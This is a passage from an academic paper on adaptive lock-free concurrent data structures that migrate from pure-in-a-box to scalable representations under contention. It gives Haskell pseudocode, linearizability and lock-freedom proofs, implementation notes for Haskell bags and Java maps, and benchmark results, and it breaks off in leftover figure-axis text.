through the A→AB→B lifecycle are monotonic, and (2) that at most
one S2 object in the heap is ever reachable from a given Hybrid’s
reference cell. Thus any read of type S2 is a valid read and will not
go stale. These properties appear in the next section as Lemmas 5.1
and 5.2.

Building blocks Figures 3, 5, and 6 show the code for the core
API operations on Hybrids. In this code we assume access to
mutable references (Ref) which support reading and modifica-
tion via compare-and-swap. Our code uses both tryModify and
atomicModify. The former makes an attempt to modify the refer-
ence, but gives up and returns false if the CAS fails some finite
number of times. Here is the definition for tryModify:

tryModify :: Ref a → (a → (a,b))
→ IO (Maybe b)

tryModify r fn = retryLoop numTries
where retryLoop 0 = return Nothing

retryLoop n = do
t ← readForCAS r
let old = peekTicket t

(new , ret) = fn old
(success , t') ← casRef r t new
if success

then return (Just ret)
else retryLoop (n - 1)

The constant numTries is a tunable parameter of the algorithm.
In contrast, atomicModify persists until success:

atomicModify :: Ref a → (a → (a,b)) → IO b
atomicModify r fn = do

case! tryModify r fn of
Nothing → atomicModify r fn
Just x → return x

To save space in our algorithm code, we above introduce syntac-
tic sugar “case! e. . . ”, which desugars to “do x ←e; case x. . . ”.

The loop in atomicModify raises the question of termination,
but we still have a lock-free guarantee—if a call to tryModify has
failed, some other thread has successfully modified the location and
thus made progress. It may be the case that some thread is continu-
ally failing its CAS operations (due to an unfair schedule), but the
system as a whole is still making progress. (Further, in finite exe-
cutions, eventually all contention dissipates and all atomicModify
operations on all threads succeed.) Indeed, the CAS retry loop in-
side tryModify is the basic building block on which virtually all
lock-free algorithms are based.

The copy thread During a transition, we fork off a copy thread
(Figure 2) which is responsible for inserting old values from the A

structure into the new, empty B structure. Since this copy occurs in
a background thread it is off the application’s critical path. As a
result we can still provide low-latency operations on the data struc-
ture during its transitional phase. Unfortunately, we necessarily in-
crease memory usage during the copy, since A cannot be freed until
all of its information is inserted into B.

A side observation here is that the copy process can option-
ally be parallelized. In fact, this is a feasible option, as most im-
mutable containers are balanced and well-suited to parallel divide-
and-conquer traversal; and, of course, the target scalable S2 struc-
ture is designed precisely for high-load concurrent insertions!

Logical time Transitioning asynchronously using the copy thread
requires some finesse—in order to maintain correctness, the hybrid
structure must simultaneously handle both an S1 and S2 while S2

is concurrently modified, all the while preserving the semantics
of a single, concurrent Map. In order to maintain this abstraction,
the copy thread must not overwrite newer values in S2 (or newer
removals) with older values from S1. We thus need a notion of
logical time, which relates values in flight to the point at which
they were first written.

Each code path which calls one of put, get, putIfAbsent, or
remove (specialized to S1 or S2) has a commit point occuring at a
specific line of code. The state transitions on lines 14 and 34, as
well as the copies on line 32, are also atomic and can be considered
to increment logical time. In fact, any asynchronous background
events that increment logical time are perfectly fine, as they do
not affect the ordering of two put events, which determines the
“vintage” of the data. The important part is that the puts that occur
via the copy thread on 32 are not associated with the current time,
but with the moment that each item was originally added to s1

through a put operation.
Further, there are two more properties on which the correctness

of the algorithm depends:

• Non-blocking complete snapshots. This is the key ability of the
pure structure S1—we can get an exact and exhaustive snapshot
at a single point in logical time, using merely anO(1) readRef.

• Causality: a get event may only reflect the latest put or
remove event on the same key. Thus every put performed by
copyThread must not change the state if newer modifications to
the key have occurred.

The pure S1 structure makes the first property a given. Then
the way the algorithm ensures causality is twofold. First, the copy
thread only uses putIfAbsent so that it can never interfere with
any already written key in S2. Second, we use tombstone values to
explicitly mark removals while in the transitioning phase4.

Tombstone values and pseudocode A tombstone � is a distin-
guished value which explicitly represents absence of a particular
key. This scheme is necessary to ensure that the copy thread does
not write logically older values which have since been deleted—
if deletion were implemented merely using S2’s delete operation,
the call to putIfAbsent at line 32 could insert values which were
in fact removed at a later logical time.

Thus a removal during the transition phase is, in reality, an
insertion (line 128). The tombstone can be easily implemented
by wrapping all values in Haskell’s Maybe type—which would
change the type S2 k v into S2 k (Maybe v)—but we elide this
detail for brevity and simply assume type v is lifted to include �.
Likewise, we define helper functions such as getS2� (Figure 3)

4 We call these “tombstones” following the convention from the distributed
systems literature [12].

221



39 get :: k → Hybrid k v → IO (Maybe v)
40 get key r =
41 case! readRef r of
42 −− The start/end cases are easy:
43 A s1 → return (getS1 key s1)
44 B s2 → getS2� key s2
45 AB s1 s2 →
46 −− getS2 is the commit point for the
47 −− operation, vis a vis serializability:
48 case! getS2 key s2 of
49 −− It may still be in flight:
50 Nothing → return (getS1 key s1)
51 −− Logically more recent deletion trumps s1:
52 Just � → return Nothing
53 −− Logically more recent s2 value trumps s1:
54 Just a → return (Just a)
55
56 −−A helper to hide the use of tombstones (@�@):
57 getS2� :: k → S2 k v → IO (Maybe v)
58 getS2� k s2 = case! getS2 k s2 of
59 Nothing → return Nothing
60 Just � → return Nothing
61 Just v → return (Just v)

Figure 3. The algorithm for reading an adaptive lock-free collec-
tion. Note that the get operation is indeed read-only; it cannot af-
fect the state of the hybrid. Above, the � symbol is used as a “tomb-
stone” to represent deletion.

62 −− Lifting functions from S1 to hybrids:
63 liftS1 :: (S1 k v → S1 k v) → HyState k v
64 → (HyState k v, Maybe (S2 k v))
65 liftS1 f h = case h of
66 A s1 →

(A (f s1), Nothing)
67 AB _ s2 → (h, Just s2)
68 B s2 → (h, Just s2)

Figure 4. Lifting functions on S1 to functions on the Hybrid type
while in the A state. If the state transition beat us there, we “fail” by
returning s2.

which “ignore” tombstone values, treating them as equivalent to
absence of the key.

After transition to B state is complete, removes again become re-
moves, and they release storage for both key and value. Optionally,
we could launch a background thread to “clean up” any remaining
tombstone values after the transition is complete (freeing the keys),
but that improvement is beyond the scope of this paper.

5. Proof of Correctness
We follow the model of multiprocessor computation given by Her-
lihy and Wing [11]. For our proofs of correctness and linearizabil-
ity, we use operational style arguments as is common in the con-
current data structure literature [9, 11, 18].

5.1 Global State Invariants
Here we return to the two properties mentioned early in Section 4.

Lemma 5.1. Monotonicity 1. Every Hybrid transitions monotoni-
cally through the three states: A→ AB → B.

Proof. There are only two points where we case on the state of the
data structure inside of an atomic operation and return a different
state. On line 21, we modify the state from A to AB. On line 37, the

69 −−— Overwriting put.
70 put :: k → v → Hybrid k v → IO ()
71 put key val r =
72 −−First peek to see if an atomic
73 −− instruction at the root is necessary:
74 case! readRef r of
75 A _ →
76 case! tryModify r
77 (liftS1 (putS1 key val))
78 of Nothing → do initiateTransition r
79 put key val r
80 Just Nothing → return ()
81 Just (Just s2) → putS2 key val s2
82 B s2 → putS2 key val s2
83 AB _ s2 → putS2 key val s2
84
85 −−— Gentle put.
86 putIfAbsent :: k → v → Hybrid k v
87 → IO ()
88 putIfAbsent key val r =
89 case! readRef r of
90 A _ →
91 case! tryModify r
92 (liftS1 (putIfAbsentS1 key val))
93 of Nothing → do initiateTransition r
94 putIfAbsent key val r
95 Just Nothing → return ()
96 Just (Just s2) →
97 putIfAbsentS2� key val s2
98 B s2 → putIfAbsentS2� key val s2
99 AB s1 s2 →

100 case getS1 key s1 of
101 Nothing → putIfAbsentS2� key val s2
102 −−Value may be in flight, write only if newer tombstone:
103 Just _ → casValS2 key � val s2
104
105 −−Only if entry is present, then compare-and-swap a new value:
106 casValS2 key old new s2 =
107 do mr ← getValRefS2 key s2
108 case mr of
109 Just r →
110 do t ← readForCAS r
111 if peekTicket t == old
112 then do _ ← casRef r t new
113 return ()
114 else return ()
115 Nothing → return ()

Figure 5. The algorithm for inserting into an adaptive lock-free
collection. Note that the value may be logically present in the map
on line 103, even if it is physically absent from S2. Also, the call on
line 101 assumes that putIfAbsentS2� is already structured to con-
sider a � value “absent”, and overwrite it in place (a non-structural
operation on the container). Another non-structural operation on
the container is enabled by casValS2, which reads the location of
the reference containing the value, and then make a single attempt
to swap it. Any failure on line 112 means that another operation
(remove or put) has superseded the putIfAbsent call in question.

state moves from AB to B. These case statements are total and there
are no other state transitions in any function.

Lemma 5.2. Constancy. If a Hybrid contains an object of type S2,
then it only contains one such object over its lifetime (as determined
by Eq, which reflects pointer equality for mutable values).

Proof. The only call to newS2 is at line 13. While this may be exe-
cuted multiple times, the only code path along which the resulting
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116 −−Remove, implemented similarly to put:
117 remove :: k → Hybrid k v → IO ()
118 remove key r =
119 case! readRef r of
120 A _ → case! tryModify r
121 (liftS1 (removeS1 key))
122 of Nothing →
123 do initiateTransition r
124 remove key r
125 Just Nothing → return ()
126 Just (Just _) → remove key r
127 B s2 → removeS2 key s2
128 AB _ s2 → putS2 key � s2

Figure 6. The algorithm for removing from an adaptive lock-free
collection. Note that memory cannot be physically freed until the
transition to B state is completed. This can be seen in line 128,
which represents a remove by an insertion, that actually increases
physical memory use.

emptS2 variable escapes is 21 and the corresponding 15. This event
is the sole introduction point for a fresh S2 heap value; in all other
cases where we access a value of type S2, it is obtained via pattern
matching on the HyState.

5.2 Correct Set Semantics
Our aim is to show that the adaptive map implements correct
abstract set semantics. We refer here to the “dynamic set with
dictionary operations”, which was defined by Cormen et al. [5].
We define the set of keys H as

H = keys(s1) ∪ keys(s2) \ tomb(s2),

where keys(s) refers to all keys included in the current state
of s, and tomb(s2) is the set of keys that are currently mapped
to tombstones in s2. Tombstoned keys are logically absent from
the abstract state H . Note that we assume that the keys function
returns {} when its argument is not currently present in the hybrid
structure; that is, in the A state, keys(s2) = {}, and similarly for s1
in the B state.

We must now prove that each of the map operations correctly
modify H , given some key k:

• If k ∈ H , get returns Just its value, and otherwise returns
Nothing;

• after the put and putIfAbsent functions on k, k is in the set H;
• the remove function removes k from the set H .

As mentioned above, we assume that all operations on S2

are linearizable; that is, all calls to putS2, putIfAbsentS2, and
removeS2 are valid linearization points. Furthermore, we assume
that S2 has correct set semantics.

Similarly, we assume that S1 is correctly implemented. If we
apply any of the above operations to a value of type S1 having
key set keys(s1), we should receive a new pure data structure s1′

with a key set keys(s1′) which differs according to the semantics
described above.

Indeed, these assumptions are crucial to the correctness of our
algorithms—if the underlying implementations are incorrect, then
we can provide no useful guarantees about the contents of the
structure or linearizability of the operations upon them.

5.2.1 Linearization Points
Given a concurrent execution history, we define linearization points
for the get, put, putIfAbsent, and remove operations, and thus

map these events onto a sequential execution history listing all
linearization points in order. The execution of these linearization
points are the moments at which the corresponding changes to the
abstract set H , listed above, occur. The linearization points are as
follows:

• A get is linearized at line 41 if the readRef returns a value in
the A state. In the B state, it is linearized at line 44, and in the AB

state, at line 48.
• If the readRef on line 74 returns a value in the A state, put is

linearized at:

Line 79 if tryModify returns Nothing,

line 76 if tryModify returns Just Nothing, and

line 81 if tryModify returns Just (Just s2).

In the B state, it is linearized at line 82, and at line 83 in the AB

state.
• If the readRef on line 89 returns a value in the A state,
putIfAbsent is linearized at:

Line 94 if tryModify returns Nothing,

line 92 if tryModify returns Just Nothing, and

line 97 if tryModify returns Just (Just s2).

In the B state, it is linearized at line 98. In the AB state, it is at
line 101 when the key is not present in s1. If the key is present
but mapped to � in s2, it is linearized at line 112. Otherwise,
putIfAbsent is a semantic no-op, and is linearized at line 100.
Note that this is where we require the ability to take a snapshot
of the original pure data structure. The call to getS1 is a pure,
non-blocking call which lets us know definitively whether or
not the key is in the map.

• If the readRef on line 89 returns a value in the A state, remove
is linearized at:

Line 124 if tryModify returns Nothing,

line 120 if tryModify returns Just Nothing, and

line 126 if tryModify returns Just (Just s2).

In the B state, it is linearized at line 127. In the AB state, it is at
line 128.

Above we mark recursive calls as linearization points. As long
as non-termination is not a problem (which we address below),
these cases reduce to the base cases.

5.2.2 Correct Updates to H
We first prove that the above linearization points are correct for any
code path that modifies S2.

Lemma 5.3. For operations which modify S2, lines 44, 48, 82, 83,
98, 101, 112, 127, 128, 81, 97, and 126 are correct linearization
points.

Proof. First, we consider cases where the initial readRef observes
a hybrid that is already in a B or AB state. From Lemma 5.2, these
operations are all operating on exactly the same S2 structure. We
assume that S2 operations are linearizable and have correct set
semantics; therefore, these are correct linearization points and have
the correct effect with respect to H .

Second, we consider cases where the initial readRef returns A,
but the subsequent tryModify observes a transitioned state (lines
81, 97, 126). In these lines, there are no live variables that were
bound based on the observation of the A state. Thus, the behaviour
of a call such as remove key r on line 126 is identical to the
behavior if the initial observation of the A state had not occurred.
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In the case of line 126 (but not the others), this is a recursive call,
which will necessarily recur to the B or AB case because tryModify

already observed a non-A state, since it returned Just (Just s2).

Next, we prove correct linearization points for any modification
of the S1 structure (i.e. any op’s execution where both the initial
readRef and the subsequent linearization point occurred in state A).

Lemma 5.4. If a call to tryModify on lines 76, 92, or 120 returns
Just Nothing, these lines are correct linearization points. Further-
more, line 41 is a correct linearization point.

Proof. This case essentially relies on the correctness of a compare-
and-swap operation on a single location. By the definition of
tryModify and liftS1, the result of tryModify implies that the
CAS has succeeded and the structure was in the A state both at
the call to readRef and during the CAS. As noted in Section 4, a
successful tryModify is an atomic operation, and therefore we treat
the line containing the call to tryModify as a linearization point. As
seen on line 66, the only modification of the state is to apply f to
s1, after which the state of the reference points to a new pure data
structure with the modification applied to it. Again, we assume our
underlying data structures are correctly implemented, and so these
operations modify H according to the set semantics.

For the get case (in A state), the initial readRef is the only
effectful memory operation, and thus the linearization point. The
call to get1 on line 43 is a pure function, and simply returns the
result of reading from s1, trivially obeying the correct set semantics
by the definition of H .

It remains to show that all operations are linearizable when state
transitions are triggered.

Lemma 5.5. If a call to tryModify on lines 76, 92, or 120 returns
Nothing, then linearization and correctness reduce to one of the
aforementioned cases for the AB or B states.

Proof. In this case we immediately call initiateTransition, and
recurse upon its completion. This call does not return until the
structure is in at least the AB state, since the atomicModify on
line 14 does not return until one of lines 21, 23, or 24 has been
executed. Since the transition life cycle is monotonic by Lemma
5.1, we reduce to Lemma 5.3.

Theorem 5.1. Linearizability - the algorithms given in Figures 2-
3 are linearizable, and have correct set semantics..

Proof. Because these linearization points are on disjoint code
paths, at most one may occur on any call to one of the operations,
and so the proof is immediate from Lemmas 5.3, 5.4, and 5.5.

Theorem 5.2. Lock Freedom - the algorithm in Figures 2-3 is
lock free as specified by definition 2.1.

Proof. Consider a particular operation on the map, op. We show
that at each return point of op and at the point of any recursive call,
some operation has performed its linearization point and therefore
the system as a whole makes progress. In cases all cases where op
returns, it has passed its own linearization point. In all case where
op recurses (except for line 126), it has failed a tryModify, which
implies that some other operation has made progress. In the case of
line 126, a state transition occurred during the execution of op, and
therefore some other operation crossed its linearization point.

6. Implementations
Here we describe how we implement the algorithm presented
in Section 4. We implement two concrete data structures using
two compilers. By demonstrating our approach in Java as well
as Haskell we are able to confirm that (1) the approach does not
depend on idiosyncrasies of GHC Haskell, and (2) the hybrid ap-
proach has advantages even when compared with recognized, well-
tuned scalable structures (java.util.concurrent).

6.1 Bags in Haskell
We begin with unordered lists, or bags, which are often used for
work-queues and other producer/consumer communication scenar-
ios where the order of the messages does not matter.

6.1.1 Pure-in-a-box Bag
Our pure bag implementation is extremely simple, requiring less
than forty lines in total. The representation is a mutable container
containing a pure list:

type PureBag a = IORef [a]

We support atomic addition and deletion via ticketed compare-
and-swap operations on the reference.

6.1.2 Scalable Bag
The scalable bag implementation is necessarily more complex than
PureBag. It uses thread-local storage to manage a mutable vector of
sub-bags. Each thread is assigned an index into the vector, which
has a length equal to the number of OS threads used by GHC.

type ScalableBag a = IOVector [a]

For a thread to insert into the bag, it must first look up its thread-
local index modulo the length of the vector. It can then simply write
to that index without fear of contention. Removal is somewhat more
complicated; since absence of data at the thread’s index does not
imply absence of data in the whole bag, the removal operation must
make one pass through the entire vector, searching for an index to
remove from5.

Using the ticketed interface described in Section 3, we provide
per-element compare-and-swap operations on Haskell’s mutable
vector type. We also pad the vector to avoid false sharing. More
complicated (and optimized) bag designs exist [21], but this design
is simple and achieves much better scaling than pure-in-a-box.

6.1.3 Hybrid Bag
The hybrid bag is a combination of PureBag and ScalableBag:

type HybridBag a = IORef (HybridState a)
data HybridState a = A [a]

| AB [a] (ScalableBag a)
| B (ScalableBag a)

Since bags are a simpler data structure than maps, offering few
strong guarantees, the management of the transitional AB state is
made much easier than the presentation in Section 4. Rather than
carefully coordinating the interaction between the copy thread and
outside consumers, all reads and writes are simply forwarded to
the ScalableBag (which does relax the definition of when transient
empty can be observed). Beyond this small reduction in complexity,

5 Empty tests must have the expected semantics in sequential executions.
However, there’s a standard problem with the any-empty test in a parallel
region—with these bags a data structure can be observed as logically empty
even if there was no physical moment in time when all slots in the bag were
empty.
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the code is straightforward and quite similar to that of that of
Figures 2-3.

An unfortunate deficiency of this approach is the introduction
of an extra level of indirection—-all accesses to the data structure
must first dereference its IORef, then follow the pointer to the
HybridState, and finally access the underlying structure. However,
in practice the effect of this indirection is quite small, as can be
seen in Section 7.

6.2 Maps in Java
In order to test adaptive data structures in multiple language ecosys-
tems (and verify that our approach is not GHC-specific), we have
also implemented an adaptive map type in Java. For the scalable
component, we use the ConcurrentSkipListMap implementation
from java.util.concurrent package which is based on work of
Fraser and Harris in [6] and is known to scale well [10].

Likewise, we use an existing library for pure structures. The
PCollections

6 library provides Okasaki-style persistent data struc-
tures akin to those present in Haskell, enabling a direct implemen-
tation of pure-in-a-box lock-free data. For our implementation, we
use its IntTreePMap class, which gives us a persistent map from in-
teger keys to non-null values. This implementation is, in fact, based
on GHC’s Data.Map [1, 16] .

We also require an equivalent to Haskell’s IORef in Java. The
standard AtomicReference class is used for this purpose, providing
us with the ability to coordinate access to the object in a multi-
threaded setting using the compareAndSet method.

Using these building blocks, the implementation of the hybrid
data structure is straightforward. There are a few minor language
issues which require some special treatment, however. Haskell’s
union types are replaced in the Java implementation by a product
type (state,s1,s2), where s1 and s2 are nullable references, and
state is an enum with three values representing the A, AB, and
B states. (Using inheritance to encode unions would also be a
reasonable approach.)

This object, (analogous to HyState), is kept in an AtomicRef-
erence in order to manage concurrent attempts to transition the
data structure and retain a tight correspondence to the algorithm
of Section 4. As with the Haskell implementation, any updates to
the state happen only via this atomic reference—the fields of the
(state,s1,s2) record are not mutated. Thus creating a new hy-
brid object begins by creating a new record with an empty pure
data structure, and a null pointer in the ConcurrentSkipListMap

field. Method calls on the hybrid check the state, and dispatch to
the appropriate implementation in the s1 or s2 field, again closely
following the pseudocode in Section 4.

7. Evaluation
The standard approach for evaluating concurrent data structures
is to stress-test them under contention and observe their maxi-
mum throughput (operations per second) under varying numbers of
threads and mixes of operations. Indeed, we use some of the con-
current bag workloads from Sundell et al. [21]. However, what we
are really interested in is not raw scalability. Rather, it is the ability
of hybrid structures to replace pure-in-a-box ones where contention
is unknown in advance. To this end we perform a parameter study
to examine workloads on a nested data structure that has both hot
and cold inner structures.

Evaluation platform We evaluate on a 2.6GHz, 16-core, dual
socket Intel Xeon E5-2670 platform with 32GB of memory running
Ubuntu 12.04. Because we perform a large parameter study, we use
a 16-node cluster rather than a single machine to spread benchmark

6 http://pcollections.org

load, but each machine has an identical hardware and software
configurations. Haskell code is compiled on GHC 7.8.3 and 7.10
(release candidate 2), with similar results. Due to space constraints
we report the GHC 7.10 results only. These results are slightly
better overall because of GHC 7.10’s new support for generating
inline code sequences for atomic operations (whereas previous
versions made an out-of-line primop call).

Benchmarking methodology In Haskell, we use the Criterion
statistical benchmarking package. Criterion estimates the time re-
quired for very short computations by varying the number of it-
erations performed and computing a linear regression between the
number of iterations and time required. Thus Criterion estimates
the expected marginal cost of adding one more operation when al-
ready performing many; i.e., cache warmed, etc. Each data point in
each of our charts is computed through such a regression. Figure 7
illustrates the output of Criterion for one such regression.

One reason we discuss Criterion here is that there is a compli-
cation when using Criterion for running parallel benchmarks. In
a typical sequential benchmark, the only constant overheads are
the start/end timing code sequences themselves. But for a parallel
benchmark, there is a fork/join step at the beginning and end of
each run, respectively. Indeed, on the GHC 7.8.3 Haskell runtime it
takes approximately 30,000 cycles between forking IO threads and
the moment when all of them are actually running7.

Normally, this fork/join overhead limits how small of a test can
be measured. However, in cases where the data structure operations
are O(1), it is possible to use a different approach and allow
criterion to choose the iteration sizes for a batch, but only fork one
set of worker threads for that whole batch. This amounts to using
Criterion’s Benchmarkable constructor directly, which constructs a
benchmark out of an Int64 →IO () function:

Benchmarkable
(λnum → forkJoin threads

(doWork (num `quot ` threads )))

This variant splits the total work across threads, e.g. timing the
amount of real time required to perform N benchmark operations
across P threads. We report this form of measurement where pos-
sible, estimating the overhead of a single data structure operation
in a concurrent context.

Parameters We fork all worker threads on a designated OS thread
(forkOn), and we use the -qa RTS option to allow the GHC runtime
to pin OS threads to processor cores. To get good measurements
of the scalability of the data structures themselves—without being
overwhelmed by parallel garbage collection overheads in GHC—
we change the GC parameters in ways we will specify in the
individual benchmark discussions.

Also, our algorithm has a parameter as well—the hybrid data
structure is parameterized by casTries—how many CAS fail-
ures in row are attempted before choosing to initiate transition
to a scalable structure. This parameter is implicit in the behav-
ior of tryModify from the algorithm pseudocode. It is good to
keep this value low, and we study which setting to use in the
evaluation. In each benchmark, we performed a parameter study,
varying threads ∈ [1, 16], casTries ∈ {1, 2, 5, 10}, and in
the nested data benchmarks we additionally vary hotRatio ∈
[0.0, 0.1, ..., 1, 0] (with three variants, this amounts to 2,112 runs
per benchmark); in our figures, we pick a value of casTries and
show representative samples of hotRatio.

7 Estimated by threadscope for the four core case. It can grow worse with
more cores.
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Figure 7. Example Criterion benchmark run measuring batches of
varying numbers of iterations of the benchmark in question. This
particular benchmark measures the time to create a new list inside
an IORef, which serves as our pure-in-a-box bag container. The X
axis is millions of iterations, whereas the Y axis measures time
to perform that many iterations. Some variation is expected due
to runtime system effects. Every point in the plots other than this
one corresponds to the “OLS regression” figure computed by an
experiment such as the above.

Java methodology Our Java benchmarks largely follow the same
pattern as their Haskell counterparts. All reported runs are from the
same evaluation cluster, using Java 1.8.

As we were not able to get a Criterion-like package working in
Java, we use the simpler approach of running a constant number
of iterations on each trial (100), and computing the mean time
per iteration. We run our Java benchmarks using runtime options
-Xms16g -Xmx24g -d64. Concurrency is achieved using the Java
standard library’s threading capabilities (with countdown latches
for thread joins). The code that implements tryModify (CAS retry
loop) is similarly parameterized by casTries.

7.1 Haskell: Pure to Scalable Bags
Here we evaluate the bag implementation described in Section 6.1.
We refer to the “Pure”, “Scalable”, and “Hybrid” variants of the
implementation in all results. First, we measure a single bag ac-
cessed by all threads to affirm that the operations have the expected
relative advantages. Figure 8 shows the cost of the allocating a sin-
gle new bag for each implementation variant. This cost is O(1) for
pure and hybrid, and does not respond to number of threads, which
is as expected. The scalable bag, however, uses a vector of thread
local storage, whose size must vary with the number of threads in
the system. Therefore, not only does does it require over twice the
time as Pure in a single-threaded setting (+RTS -N1), but the over-
head of vector allocation grows as the number of threads increase.
This penalty is worth paying when we use the scalable map in a
multi-threaded program under contention, but it is unnecessary in
uncontended settings.

Insert bench After transitioning to state B, the Hybrid bag still
has an extra pointer indirection and extra branches relative to a
straight scalable version. As a result, we expect it to have some
additional overhead. This overhead can be seen in a simple inser-
tion contention benchmark (Figure 9), measuring the cost of all
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Figure 8. Cost of creating a new bag, in milliseconds. The cost
of creating both pure-in-a-box and hybrid bags is low, while the
scalable version pays an overhead relative to the number of threads
in the system.
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Figure 9. Cost of inserting into a single bag shared between
threads, under high contention. The X axis tracks the number of
threads simultaneously acting on the shared bag, and the Y axis
measures average time between operations committing (latency).
Lower is better.

threads inserting into the bag. We see that at one thread, the hybrid
structure has the same performance as its pure counterpart, while
the scalable version is actually 51% slower. Once more threads en-
ter the picture, though, the scalable structure quickly overtakes the
pure version, and the hybrid follows it—it has triggered a transi-
tion, and then gains the performance benefits of the more complex
data structure.

Also, in Figure 9, we include one extra line, Pure/Traditional,
which shows the atomicModifyIORef' approach, to contrast it with
the speculative approach based on ticketed-CAS which we propose
in this paper (Pure/Speculative, elsewhere just “Pure”). Here we
confirm that not only do we need ticketed CAS to preserve lock-
freedom in our algorithm, but it also typically offers a performance
advantage for code that performs many small modifications to a
shared structure under contention.
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Figure 10. Similar to Figure 9, Y axis in seconds: the cost of
operating on a single shared bag. This shows a random (50/50) mix
of insert and remove operations, starting with an empty bag, as in
Sundell et al. [21]. In this figure, the hybrid bag triggers a transition
after a single failed CAS.

Insert/remove bench Figure 10 shows another contention bench-
mark, but with a different mix of operations. Here threads randomly
insert or delete from a single, shared bag. A large vector of random
bits is precomputed for these benchmarks before Criterion begins
its measurements. In this figure, we see a similar pattern. Pure and
Hybrid begin with the same performance—nearly six times as fast
as scalable! But scalable overtakes Pure as threads increase. Fur-
ther, as contention increases, a transition is triggered and soon the
hybrid’s performance approaches that of the scalable bag.

Setting casTries Both of these contention benchmarks can be af-
fected by the setting of the casTries parameter, which determines
how quickly transition engages, and therefore how many elements
must be handled by the copy thread when contention does occur.
However, because the benchmarks in this section represent maxi-
mum contention, transition is very fast. We pick casTries = 1
as the setting for this section, but the other settings yield similar
results.

The GC problem Unfortunately, Haskell does not yet have a scal-
able memory management system, in spite of substantial effort
in this direction [14]. GHC’s current garbage collector is parallel
(load-balancing), but not concurrent, so it performs stop-the-world
collection even on minor collections. This effect is especially pro-
nounced on microbenchmarks of the kind described in this section.
Furthermore, “scalable bag” triggers a performance weak point in
current versions of GHC where the GC workload does not success-
fully load-balance consistently, yielding some runs where all GC
work is serialized, and others with reasonable balance. To elim-
inate this source of nondeterminism, we have arranged to com-
pletely avoid collection during the benchmarks in question. We do
this simply by setting the heap to one generation, with a size equal
to 30GB (out of a 32GB RAM).

Nested data collections To test Hybrid’s ability to withstand
mixed contention within one benchmark, we perform a nested ver-
sion of the insertion benchmark on an array of bags (Figure 11).
Here, each thread randomly flips a coin (again with precomputed
randomness) and either inserts into a single shared “hot” bag in a
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Figure 11. Skewed hot-key/cold-key benchmark, inserting into
a nested array of bags. Here we show a balanced workload
(hotRatio = 0.5). At the hot and cold ends of the spectrum, the
benchmark reduces to stressing the individual operations as cov-
ered by Figures 8 and 9.

designated vector slot, or inserts into a randomly chosen slot con-
taining a “cold” bag. The vector is sufficiently large that cold bags
are unlikely to be contended (100 slots). Here we see again that
pure bags suffer at more than one thread, while scalable bags suffer
at one thread, but hybrids can function well in both categories. This
demonstrates the hypothesized benefit of a dynamically adaptive
data structure: the amount of contention cannot be known stati-
cally, but they still handle both contention regimes, without giving
up lock-freedom.

Again, contention detection in all cases is based on the number
of failed CASs per operation (casTries). This presents an impor-
tant tuning parameter, representing the hybrid’s level of sensitivity
to contentions. Do we follow a hair-trigger policy of transitioning
after a single failed CAS attempt, or should we be more tolerant in
the hope that future modifications will be successful? In this bench-
mark we show results from casTries = 1.

7.2 Java: Pure to Scalable Maps
In this section we evaluate a nested combination of concurrent
Map data structures, as described in Section 6.2. Note that this
is an independent evaluation from the Haskell one—we do not
compare Java and Haskell, because we implement different data
structures: two instances of the hybrid approach8. Here we test a
nested combination of Maps:

• A ConcurrentSkipListMap, forming the outer, definitely con-
tended, structure

• An inner map, varying between the {pure, scalable, hybrid}
variants

Like in the Haskell nested-data benchmark, we perform a num-
ber of insert operations on (keyOuter, keyInner, val), divided
equally among the worker threads. Once again, we flip a coin on

8 One reason for choosing two data structures rather than one is that Haskell
currently lacks an efficient lock-free map implementation. We have imple-
mented a lock-free concurrent skiplist similar to Java’s as part of the LVish
parallel-programming library, but in the course of this work we have found
that it is not yet scalable enough to be worth switching to over pure-in-a-box
if the speculative CAS approach is used for modifying the box (Section 3).
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Table 1. Mean time in micro-seconds to allocate and initialize one
new object of the specified type in Java. (Estimated by average time
to create a batch of one million objects consecutively.)

Pure Scalable Hybrid
0.029 0.064 0.05

each operation, choosing either, with probability hotRatio, a des-
ignated hot outer-key or a uniform-random cold-key. Outer keys
are chosen from [1, 106], and inner keys are random 32-bit num-
bers. For a given keyOuter, if an entry does not already ex-
ist, it is created, stressing the constructor method for the inner
map type. Table 1 shows the cost of these “new” operations. In
line with our expectations, in the Java context creating an empty
ConcurrentSkipListMap is almost two times as expensive as cre-
ating a pure one. Further, creating Hybrid objects is about 20%
cheaper than creating ConcurrentSkipListMaps.

As in Section 7.1, we perform a parameter study, varying
threads, casTries, and hotRatio. Figure 12 shows represen-
tative results from this study. In the “cold” extreme, with very
little contention on inner maps, all variants perform remarkably
similarly, with slightly better performance for Pure at low thread
counts, and slightly better performance for scalable and hybrid at
higher thread counts. In the hot extreme, with all inserts going to a
single inner map, Scalable of course performs better, and Pure de-
grades, while Hybrid successfully tracks the scalable variant. Here,
the benefit of Hybrid over Scalable is that it performs better in the
one-thread uncontended case: heavy access on the hot key, but from
only a single thread.9 Finally, in the hotRatio = 0.5 case, we see
a blend of these outcomes, and Hybrid has a small advantage over
other variants, coping well with both one very hot key, and lots of
keys that remain cold (and stay in their pure-in-a-box state).

8. Related Work
The idea of swapping out the representation of a data structure at
runtime is an old one, and has appeared in a variety of contexts.

Data structure swapping Pypy is a Python virtual machine and
tracing JIT which provides storage strategies [3]. Storage strate-
gies enable homogeneously typed collections to specialize on
their element type; an array of integers can thus unbox its con-
tents, providing significant performance benefits. When a collec-
tion dehomogenizes—that is, when a value of a different type
is inserted—the structure must dynamically switch to a generic,
boxed representation.

The Coco system [23] provides application-level optimizations
by dynamically switching between different implementations of
standard Java container types. For example, a linked list can be
swapped out for an array-backed implementation when many calls
to get are made at a particular index, thus improving algorithmic
complexity.

Dynamically responding to contention The idea of dynamically
detecting and responding to contention is also well known in the
literature surrounding multithreaded applications. It can be found
in such areas as databases [4], low-level caching algorithms [24],
and also previous work in concurrent data structures and algorithms

9 We also see a surprising non-monotonicity in the behavior of Pure—
results get worse at two threads and then better again. We would expect
them to degrade monotonically with more threads. We have searched for the
cause of this and not yet found it; the complexity and dynamic optimizations
of the JVM make it difficult to track. This effect emerges gradually with
increasing hotRatio, first appearing visible to the eye in hotRatio =
0.7, and then the two-thread time becoming worse than one thread at
hotRatio = 0.8, and worse yet at 0.9 and 1.0.

 0

 0.2

 0.4

 0.6

 0.8

 1

 1.2

 1.4

 1.6

 1.8

 2  4  6  8  10  12  14  16

M
e
d

ia
n
ti

m
e
 i
n
 s

e
co

n
d

s

Threads

Hybrid
Pure

Scalable

 0

 0.2

 0.4

 0.6

 0.8

 1

 1.2

